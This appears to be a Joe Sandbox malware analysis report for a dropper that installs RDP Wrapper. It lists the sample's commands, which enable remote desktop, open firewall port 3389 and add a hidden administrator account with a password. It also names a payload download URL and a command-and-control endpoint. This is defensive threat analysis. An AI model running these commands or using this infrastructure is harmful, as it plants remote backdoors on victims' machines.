Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Dropped PE file which has not been started: C:\Windows\System32\rfxvmt.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6300	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4836	Thread sleep count: 2377 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4836	Thread sleep count: 7549 > 30	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NumberOfCores FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_004092D8 FindFirstFileW,FindClose,	10_2_004092D8
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0040F73C FindFirstFileW,FindClose,	10_2_0040F73C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00408EB9 lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	10_2_00408EB9

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 10_2_00409D02 GetSystemInfo,

10_2_00409D02

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: net1.exe, 0000001C.00000002.2443440527.00000000033C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V AdministratorsIIS_IUSRSNetwork Configuration OperatorsPerformance Log UsersPerformance Monitor UsersPower UsersRemote Desktop UsersRemote Management UsersReplicatorSystem Managed Accounts GroupUsers,
Source: file.exe, 00000000.00000002.2500984157.0000000003675000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2500984157.0000000003672000.00000004.00000800.00020000.00000000.sdmp, net1.exe, 0000001C.00000002.2443440527.00000000033C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: file.exe, 00000000.00000002.2500494364.0000000001639000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: net1.exe, 0000001C.00000002.2443440527.00000000033C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators

Source: C:\Windows\System32\drivers\tsusbhub.sys

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user BoydKrajcik hDNQhfjKM9S0 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user BoydKrajcik hDNQhfjKM9S0 /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Remote Desktop Users" BoydKrajcik /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" BoydKrajcik /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" BoydKrajcik /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" BoydKrajcik /add	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	10_2_004093C0
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00408908
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	10_2_00412C4A
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	10_2_00412C4C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	10_2_00412C98

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 10_2_00411154 GetLocalTime,

10_2_00411154

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 10_2_00414698 GetVersionExW,

10_2_00414698

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow

Remote Access Functionality

Allows multiple concurrent remote connection

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\Licensing Core EnableConcurrentSessions

Jump to behavior

Enables remote desktop connection

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fDenyTSConnections

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	111 Windows Management Instrumentation	1 LSASS Driver	1 LSASS Driver	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	2 Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Service Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Create Account	1 Access Token Manipulation	21 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Windows Service	21 Windows Service	1 Timestomp	NTDS	128 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Process Injection	1 DLL Side-Loading	LSA Secrets	211 Security Software Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	22 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Dropper.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	100%	Joe Sandbox ML
C:\Program Files\RDP Wrapper\rdpwrap.dll	54%	ReversingLabs	Win64.PUA.RDPWrapper
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	68%	ReversingLabs	Win32.PUA.RDPWrap
C:\Windows\System32\rfxvmt.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hansgborn.eu	188.114.97.3	true	false		unknown
api.ipify.org	104.26.12.205	true	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe	false	unknown
https://hansgborn.eu/core/receive.php	false	unknown
http://api.ipify.org/	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/bchavez/Bogus.	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0	RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false		unknown
http://api.ipify.orgd	file.exe, 00000000.00000002.2500984157.000000000367A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2500984157.0000000003682000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/bchavez/Bogus/issues/54	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU	RDPWInst.exe, 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	file.exe, 00000000.00000002.2507908437.0000000007A40000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.2500379278.0000000001602000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/	RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false		unknown
https://cloudflare-ipfs.com/ipfs/Qmd3W5DuhgHirLHGVixi6V76LhCkZUz6pnFt5AJBiyvHye/avatar/	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://github.com/lontivero/Open.Nat/issuesOAlso	file.exe, 00000000.00000002.2507908437.0000000007A40000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://loremflickr.com	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/envelope/	file.exe, 00000000.00000002.2507908437.0000000007A40000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.2500379278.0000000001602000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini	RDPWInst.exe	false		unknown
http://hansgborn.eud	file.exe, 00000000.00000002.2500984157.0000000003688000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://picsum.photos	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://placeimg.com	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://hansgborn.eu	file.exe, 00000000.00000002.2500984157.0000000003688000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/bchavez/Bogus/issues/115	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://api.ipify.org	file.exe	false		unknown
http://stascorp.com/load/1-1-0-62	RDPWInst.exe, RDPWInst.exe, 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false		unknown
http://stascorp.comDVarFileInfo$	file.exe, 00000000.00000002.2500984157.00000000035EC000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rdpwrap.dll.10.dr	false		unknown
https://github.com/bchavez/Bogus/wiki/Bogus-Premium	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://hansgborn.eu	file.exe, 00000000.00000002.2500984157.0000000003688000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/bchavez/Bogus	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://via.placeholder.com/	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://hansgborn.eu/core/receive.phpd	file.exe, 00000000.00000002.2500984157.0000000003688000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://147.45.44.104	file.exe, 00000000.00000002.2500984157.00000000035DE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/bchavez/Bogus:	file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	file.exe, 00000000.00000002.2500984157.00000000032D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	hansgborn.eu	European Union	13335	CLOUDFLARENETUS	false
8.46.123.33	unknown	United States	62713	AS-PUBMATICUS	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524989
Start date and time:	2024-10-03 15:06:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@46/9@2/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 114 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:07:46	API Interceptor	1x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
239.255.255.250	https://docs.google.com/forms/d/e/1FAIpQLSd11N0abxlW-jWhsgCqQSv4dirOC7CnOJxj0NYrOSmFOvEaMg/viewform?usp=pp_url	Get hash	malicious	HTMLPhisher	Browse
	http://Warehousingpro.com	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	Stager.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	https://trello.com/c/HA4sCE32	Get hash	malicious	HTMLPhisher	Browse
	https://drmerp.com/bWFpbEBrc2xhdy5jby51aw==&xBvSo7gjDRPy&hmr&x-ad-vt-unk&OC305935	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
188.114.97.3	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/758bYd86/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	BX7yRz7XqF.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	cloud.dellicon.top/1000/500/
	jKSjtQ8W7O.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	ministryofficedownloadcloudserver.screenpont.xyz/78/CKP/
	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/7vun/
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	http://meta.case-page-appeal.eu/community-standard/208273899187123/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
hansgborn.eu	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
api.ipify.org	QUOTATIONS#08670.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.12.205
	08(2)_00.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	file.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	file.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	PO-A1702108.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	AvQTFKdsST.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.26.12.205
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	LVcCI.exe	Get hash	malicious	Quasar	Browse	1.1.1.1
	http://Warehousingpro.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	QUOTATIONS#08670.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.12.205
	https://trello.com/c/HA4sCE32	Get hash	malicious	HTMLPhisher	Browse	104.18.36.155
	https://drmerp.com/bWFpbEBrc2xhdy5jby51aw==&xBvSo7gjDRPy&hmr&x-ad-vt-unk&OC305935	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Phisher	Browse	104.22.72.81
	http://arcor.cfd	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Message_2484922.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://arcor.cfd#warszawa@psgaz.pl	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://terryatchison-my.sharepoint.com/:f:/g/personal/terry_terryatchison_com_au/ElPLLTBYg_xBi3psE6F6HW0BDiAPLHOUdwoTRpPTGgsocg?e=hlVHMO	Get hash	malicious	Unknown	Browse	104.17.25.14
CLOUDFLARENETUS	LVcCI.exe	Get hash	malicious	Quasar	Browse	1.1.1.1
	http://Warehousingpro.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	QUOTATIONS#08670.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.12.205
	https://trello.com/c/HA4sCE32	Get hash	malicious	HTMLPhisher	Browse	104.18.36.155
	https://drmerp.com/bWFpbEBrc2xhdy5jby51aw==&xBvSo7gjDRPy&hmr&x-ad-vt-unk&OC305935	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Phisher	Browse	104.22.72.81
	http://arcor.cfd	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Message_2484922.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://arcor.cfd#warszawa@psgaz.pl	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://terryatchison-my.sharepoint.com/:f:/g/personal/terry_terryatchison_com_au/ElPLLTBYg_xBi3psE6F6HW0BDiAPLHOUdwoTRpPTGgsocg?e=hlVHMO	Get hash	malicious	Unknown	Browse	104.17.25.14
AS-PUBMATICUS	KpCJCaQswCshdLQFFKLtCbGdhL.ps1	Get hash	malicious	Unknown	Browse	185.64.191.210
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	8.46.123.33
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	8.46.123.33
	http://www.johnhdaniel.com	Get hash	malicious	Unknown	Browse	185.64.191.210
	https://www.evernote.com/shard/s683/sh/202c4f3c-3650-93fd-8370-eaca4fc7cbbc/9PDECUYIIdOn7uDMCJfJSDfeqawh-oxMdulb3egg-jZJLZIoB686GWk5jg	Get hash	malicious	HTMLPhisher	Browse	185.64.191.210
	moba-24.2-installer_M64ZB-1.exe	Get hash	malicious	PureLog Stealer	Browse	198.47.127.20
	Audio_Msg..00299229202324Transcript.html	Get hash	malicious	Unknown	Browse	185.64.191.210
	moba-24.2-installer_M64ZB-1.exe	Get hash	malicious	PureLog Stealer	Browse	198.47.127.18
	https://content.app-us1.com/1REPZ7/2024/09/30/ff91983f-ef4d-4288-b1e8-8d1ab94f757b.pdf	Get hash	malicious	HTMLPhisher	Browse	198.47.127.205
	https://wtm.ventes-privees-du-jour.com/r/eNplj92OmzAQRp+GvQwYbGNfRBVNwgblh61I0jQ3kTEmOAXsgoFNnr6utFppVcnSSOd845mZXApCiJCbs5xhHwkaMq/EwEMCc1wCRjGl3MOeC0iAXArdEmJaepgUhBKOwoJCQIUgBJU+CwoB3NCFrnK/DfPKGN07QeT4sX3TNM0q1TRCd3IUM64aC2Xb805qI1XrBLENL33iewR4nu/4eDDNtVdDx4UVk6htjxh1cf9QjSjk0FjFdf2BOGs0k7f2v7xomKwt7VQuOuNAz4hatMLMcmEtH3pjs921lF1vWtb8Gxi1rfwia/bpfibb7WqXWVvr66gtcfzgmiyvtrwUfJ4+1qCs1GnU/YrCyR4TK60aFU3idQ8ntNjW9+hZoTo/m7dl4PjfT7UZq27RguCy3hwOoZ/CanOkZnFKm8Oe4SnLJU5uXnywf50j/fb0ft/+8Et0eC2nJEu3krdIqEyy22bEjzBN90n9rLTMyO7Ml8kK3n+dH7dwWhNYgGP6owiHUdD7eRVnLOlHu8Lx/ZJ2uwc/BY8jgXGUDvsXJueAIgDJX8NYskg=	Get hash	malicious	Unknown	Browse	185.64.191.210

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	payload.cmd	Get hash	malicious	Unknown	Browse	188.114.97.3
